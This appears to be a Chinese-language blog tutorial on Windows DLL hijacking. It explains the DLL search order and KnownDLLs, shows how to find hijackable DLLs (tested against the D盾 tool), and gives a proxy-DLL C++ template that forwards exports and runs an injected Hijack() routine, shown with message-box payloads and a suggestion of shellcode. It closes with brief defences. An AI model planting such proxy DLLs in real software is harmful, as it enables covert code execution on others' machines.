日子越来越有判头了?用DLL劫持,搞点事情
cac55 2024-10-10 04:35 41 浏览 0 评论
0x01 dll简介
在Windows系统中,为了节省内存和实现代码重用,微软在Windows操作系统中实现了一种共享函数库的方式。这就是DLL(Dynamic Link Library),即动态链接库,这种库包含了可由多个程序同时使用的代码和数据。
每个DLL都有一个入口函数(DLLMain),系统在特定环境下会调用DLLMain。在下面的事件发生时就会调用dll的入口函数:
- 1.进程装载DLL。
- 2.进程卸载DLL。
- 3.DLL在被装载之后创建了新线程。
- 4.DLL在被装载之后一个线程被终止了。 另外,每个DLL文件中都包含有一个导出函数表也叫输出表(存在于PE的.edata节中)。使用一些PE文件查看工具如LoadPE,就可以查看导出函数的符号名即函数名称和函数在导出函数表中的标识号。 应用程序导入函数与DLL文件中的导出函数进行链接有两种方式:隐式链接(load-time dynamiclinking)也叫静态调用和显式链接(run-time dynamiclinking)也叫动态调用。隐式链接方式一般用于开发和调试,而显式链接方式就是我们常见的使用LoadLibary或者LoadLibraryEx函数(注:涉及到模块加载的函数有很多)来加载DLL去调用相应的导出函数。调用LoadLibrary或者LoadLibraryEx函数时可以使用DLL的相对路径也可以使用绝对路径,
dll路径搜索规则
但是很多情况下,开发人员都是使用了相对路径来进行DLL的加载。那么,在这种情况下,Windows系统会按照特定的顺序去搜索一些目录,来确定DLL的完整路径。关于动态链接库的搜索顺序的更多详细资料请参阅MSDN。根据MSDN文档的约定,在使用了DLL的相对路径调用LoadLibrary函数时,系统会依次从下面几个位置去查找所需要调用的DLL文件。
- 1.程序所在目录。
- 2.加载 DLL 时所在的当前目录。
- 3.系统目录即 SYSTEM32 目录。
- 4.16位系统目录即 SYSTEM 目录。
- 5.Windows目录。
- 6.PATH环境变量中列出的目录微软为了防止DLL劫持漏洞的产生,在XP SP2之后,添加了一个SafeDllSearchMode的注册表属性。注册表路径如下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
当SafeDllSearchMode的值设置为1,即安全DLL搜索模式开启时,查找DLL的目录顺序如下:
- 1.程序所在目录
- 2.系统目录即 SYSTEM32 目录。
- 3.16位系统目录即 SYSTEM 目录。
- 4.Windows目录。
- 5.加载 DLL 时所在的当前目录。
- 6.PATH环境变量中列出的目录。
在win7以上版本
微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用。注册表路径如下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
以前经常使用的一些劫持DLL已经被加入了KnownDLLs注册表项,这就意味着使用诸如usp10.dll,lpk.dll,ws2_32.dll去进行DLL劫持已经失效了。
所以在win7及以上当启用了SafeDllSearchMode搜索顺序如下
- 1.应用程序所在目录。
- 2.系统目录SYSTEM32 目录。
- 3.16位系统目录。没有获取该目录路径的函数,但会对其进行搜索。
- 4.Windows目录。使用GetWindowsDirectory函数获取此目录的路径。
- 5.当前目录
- 6.环境变量PATH中所有目录。需要注意的是,这里不包括App Paths注册表项指定的应用程序路径。 Windows操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。 不过,微软又莫名其妙的允许用户在上述注册表路径中添加“ExcludeFromKnownDlls”注册表项,排除一些被“KnownDLLs注册表项”机制保护的DLL。也就是说,只要在“ExcludeFromKnownDlls”注册表项中添加你想劫持的DLL名称就可以对该DLL进行劫持,不过修改之后需要重新启动电脑才能生效。
在上述描述加载DLL的整个过程中,DLL劫持漏洞就是在系统进行安装“DLL路径搜索目录顺序”搜索DLL的时候发生的。
无论安全DLL搜索模式是否开启,系统总是首先会从应用程序(程序安装目录)所在目录加载DLL,如果没有找到就按照上面的顺序依次进行搜索。那么,利用这个特性,攻击者就可以伪造一个相同名称的dll,只要这个dll不在KnownDLLs注册表项中,我们就可以对该dll进行劫持测试。
键值
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
win10的如下
0x02 寻找可劫持dll
有很多软件可以查看exe加载的dll
process-explorer
https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
火绒剑
Process Monitor
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon
使用的时候可以设置Filter,填入过滤条件,可以帮助排除很多无用的信息
Include the following filters:
Operation is CreateFile
Operation is LoadImage
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys
Exclude the following filters:
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys
类似下图这种就是该dll在KnownDLLs注册表项里
0x03 劫持测试
这里用D盾进行劫持实验
还是先使用Process Explorer
可以将这些dll文件与KnownDLLs注册表项里的dll进行比较,找出不在范围内的dll进行劫持测试
当然这里也有偷懒的方法,批量自动化测试
这里ctrl+s可以直接保存获取的信息文本,然后再通过正则来提取路径信息,再放到批量验证工具里
存在的话就会直接输出结果
不存在就会显示no
上面显示存在两个dll可能可以劫持 这里直接放一个弹计算器的dll改成WINSTA.dll放到D盾目录下,再运行D盾,成功弹出。
0x04 进阶测试
但是这种方法只劫持了加载计算机的函数,原来dll还有很多其他的导出函数,这样直接劫持可能会导致程序无法正常启动。
所以一般会制作一个相同名称,相同导出函数表的一个“假”DLL,并将每个导出函数转向到“真”DLL。将这个“假”DLL放到程序的目录下,当程序调用DLL中的函数时就会首先加载“假”DLL,在“假”DLL中攻击者已经加入了恶意代码,这时这些恶意代码就会被执行,之后,“假”DLL再将DLL调用流程转向“真”DLL,以免影响程序的正常执行。
这里我们制作一个弹窗的dll来进行测试,
1.首先使用VS2019新建一个DLL项目
2.在生成的dllmain.cpp下添加
Bash
void msg() {
MessageBox(0, L"Dll-1 load succeed!", L"Good", 0);
}
3.然后再在头文件下的framework.h文件内添加下面代码来编译导出dll文件
Bash
#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);
然后编译生成Dll1.dll
再新建一个C++项目,填入如下代码
Go
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
// 定义一个函数类DLLFUNC
typedef void(*DLLFUNC)(void);
DLLFUNC GetDllfunc = NULL;
// 指定动态加载dll库
HINSTANCE hinst = LoadLibrary(L"Dll1.dll");//要加载的DLL
if (hinst != NULL) {
// 获取函数位置
GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//函数名
}
if (GetDllfunc != NULL) {
//运行msg函数
(*GetDllfunc)();
}
}
想了解dll编写细节的可以看这里 再次生成解决方案,然后将之前生成的Dll1.dll放到生成的Meg.exe同目录下,运行Meg.exe
成功弹窗 这里我们用之前转发劫持dll的思路,来试验一下 这里我用脚本一键生成用来劫持的dll
这是默认生成的
Bash
# include "pch.h"
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl
EXTERNC
{
FARPROC Hijack_msg;
}
namespace DLLHijacker
{
HMODULE m_hModule = NULL;
DWORD m_dwReturn[17] = {0};
inline BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
lstrcpy(tzPath, TEXT("Dll1"));
m_hModule = LoadLibrary(tzPath);
if (m_hModule == NULL)
return FALSE;
return (m_hModule != NULL);
}
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
CHAR szProcName[16];
fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
pszProcName = szProcName;
}
ExitProcess(-2);
}
return fpAddress;
}
}
using namespace DLLHijacker;
VOID Hijack() //default open a calc.//添加自己的代码
{
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
DisableThreadLibraryCalls(hModule);
if(Load())
{
Hijack_msg = GetAddress("msg");
Hijack();
}
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
在编译生成新的dll前要注意在代码这一行,将Dll1改为Dll2.dll
Bash
lstrcpy(tzPath, TEXT("Dll2.dll"));
然后在代码这一行添加弹窗或者执行shellcode
Go
VOID Hijack() //default open a calc.
{
MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0);
}
然后编译生成 再将我们之前生成的Dll1.dll改为Dll2.dll,将两个Dll和Meg.exe放在同一个目录下
运行Meg.exe这时候应该会有两个弹窗
可以看到是先劫持DLL添加的弹窗,再弹出DLL原本的弹窗
0x05 防御
通用免疫方案: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs]在此注册表项下定义一个“已知DLL名称”,那么凡是此项下的DLL文件就会被禁止从EXE自身目录下调用,而只能从系统目录,也就是system32目录下调用。据此可以写一个简单的DLL劫持免疫器 或者可以在加载dll是检测MD5和大小,来防御.
相关推荐
- Mac电脑强制删除任何软件方法-含自启动应用
-
对于打工者来说,进入企业上班使用的电脑大概率是会被监控起来,比如各种流行的数据防泄漏DLP,奇安信天擎,甚至360安全卫士,这些安全软件你想卸载是非常困难的,甚至卸载后它自己又安装回来了,并且还在你不...
- Linux基础知识 | 文件与目录大全讲解
-
1.linux文件权限与目录配置1.文件属性Linux一般将文件可存取的身份分为三个类别,分别是owner/group/others,且三种身份各read/write/execute等权限文...
- 文件保护不妥协:2025 年 10 款顶级加密工具推荐
-
数据安全无小事,2025年这10款加密工具凭借独特功能脱颖而出,从个人到企业场景全覆盖,第一款为Ping32,其余为国外英文软件。1.Ping32企业级加密核心工具,支持200+文件格...
- 省心省力 一个软件搞定系统维护_省心安装在哪里能找到
-
◆系统类似于我们居住的房间,需要经常打理才能保持清洁、高效。虽然它本身也自带一些清理和优化的工具,但借助于好用的第三方工具来执行这方面的任务,会更让人省心省力。下面笔者就为大家介绍一款集多项功能于一身...
- JAVA程序员常用的几个工具类_java程序员一般用什么软件写程序
-
好的工具做起事来常常事半功倍,下面介绍几个开发中常用到的工具类,收藏一下,也许后面真的会用到。字符串处理:org.apache.commons.lang.StringUtilsisBlank(Char...
- 手工解决Windows10的若干难题_windows10系统卡顿怎么解决
-
【电脑报在线】很多朋友已经开始使用Win10,估计还只是测试版本的原因,使用过程中难免会出现一些问题,这里介绍解决一些解决难题的技巧。技巧1:让ProjectSpartan“重归正途”从10074...
- System32文件夹千万不能删除,看完这篇你就知道为什么了
-
C:\Windows\System32目录是Windows操作系统的关键部分,重要的系统文件存储在该目录中。网上的一些恶作剧者可能会告诉你删除它,但你不应该尝试去操作,如果你尝试的话,我们会告诉你会发...
- Windows.old 文件夹:系统备份的解析与安全删除指南
-
Windows.old是Windows系统升级(如Win10升Win11)或重装时,系统自动在C盘创建的备份文件夹,其核心作用是保留旧系统的文件、程序与配置,为“回退旧系统”提供保...
- 遇到疑难杂症?Windows 10回收站问题巧解决
-
回收站是Windows10的一个重要组件。然而,我们在使用过程中,可能会遇到一些问题。例如,不论回收站里有没有文件,都显示同一个图标,让人无法判别回收站的空和满的真实情况;没有了像Windows7...
- 卸载软件怎么彻底删掉?简单几个步骤彻底卸载,电脑小白看过来
-
日常工作学习生活中,我们需要在安装一些软件程序,但随着软件的更新迭代速度,很多时候我们需要重新下载安装新的程序,这时就需要将旧的一些软件程序进行卸载。但是卸载软件虽然很简单,但是很多小伙伴们表示卸载不...
- 用不上就删!如何完全卸载OneDrive?
-
作为Windows10自带的云盘,OneDrive为资料的自动备份和同步提供了方便。然而,从隐私或其他方面考虑,有些人不愿意使用OneDrive。但Windows10本身不提供直接卸载OneDri...
- 【Linux知识】Linux下快速删除大量文件/文件夹方法
-
在Linux下,如果需要快速删除大量文件或文件夹,可以使用如下方法:使用rm命令删除文件:可以使用rm命令删除文件,例如:rm-rf/path/to/directory/*这个命令会递...
- 清理系统不用第三方工具_清理系统垃圾用什么软件
-
清理优化系统一定要借助于优化工具吗?其实,手动优化系统也没有那么神秘,掌握了方法和技巧,系统清理也是一件简单和随心的事。一方面要为每一个可能产生累赘的文件找到清理的方法,另一方面要寻找能够提高工作效率...
- 系统小技巧:软件卸载不了?这里办法多
-
在正常情况下,我们都是通过软件程序组中的卸载图标,或利用控制面板中的“程序和功能”模块来卸载软件的。但有时,我们也会发现利用卸载图标无法卸载软件或者卸载图标干脆丢失找不到了,甚至控制面板中卸载软件的功...
- 麒麟系统无法删除文件夹_麒麟系统删除文件权限不够
-
删除文件夹方法例:sudorm-rf文件夹名称。删除文件方法例:sudorm-r文件名包括扩展名。如果没有权限,给文件夹加一下权限再删。加最高权限chmod775文件名加可执行权限...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- 如何绘制折线图 (52)
- javaabstract (48)
- 新浪微博头像 (53)
- grub4dos (66)
- s扫描器 (51)
- httpfile dll (48)
- ps实例教程 (55)
- taskmgr (51)
- s spline (61)
- vnc远程控制 (47)
- 数据丢失 (47)
- wbem (57)
- flac文件 (72)
- 网页制作基础教程 (53)
- 镜像文件刻录 (61)
- ug5 0软件免费下载 (78)
- debian下载 (53)
- ubuntu10 04 (60)
- web qq登录 (59)
- 笔记本变成无线路由 (52)
- flash player 11 4 (50)
- 右键菜单清理 (78)
- cuteftp 注册码 (57)
- ospf协议 (53)
- ms17 010 下载 (60)